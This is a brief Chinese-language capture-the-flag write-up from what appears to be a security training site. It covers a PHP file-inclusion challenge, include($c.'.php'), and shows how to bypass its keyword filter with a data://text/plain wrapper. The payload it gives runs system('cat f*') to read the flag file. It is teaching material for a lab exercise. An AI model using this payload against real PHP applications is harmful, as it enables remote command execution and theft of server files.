命令执行:include($c.”.php”)的绕过
代码如下:
<?php //flag in flag.php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c.".php"); } }else{ highlight_file(__FILE__); }
看似被.php吓住了,但实际十分简单,只要使用:data://text/plain
这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用
payload:
?c=data://text/plain,<?php system(“cat f*”); ?>
Tips:鼠标经过代码时会出现工具栏,工具栏上方有一键复制代码的功能哦~天云网络培训,专注于网络空间安全相关培训,并提供相关课程的在线培训 报名微信 tyedu1
天云网络培训 » 命令执行:include($c.”.php”)的绕过
天云网络培训 » 命令执行:include($c.”.php”)的绕过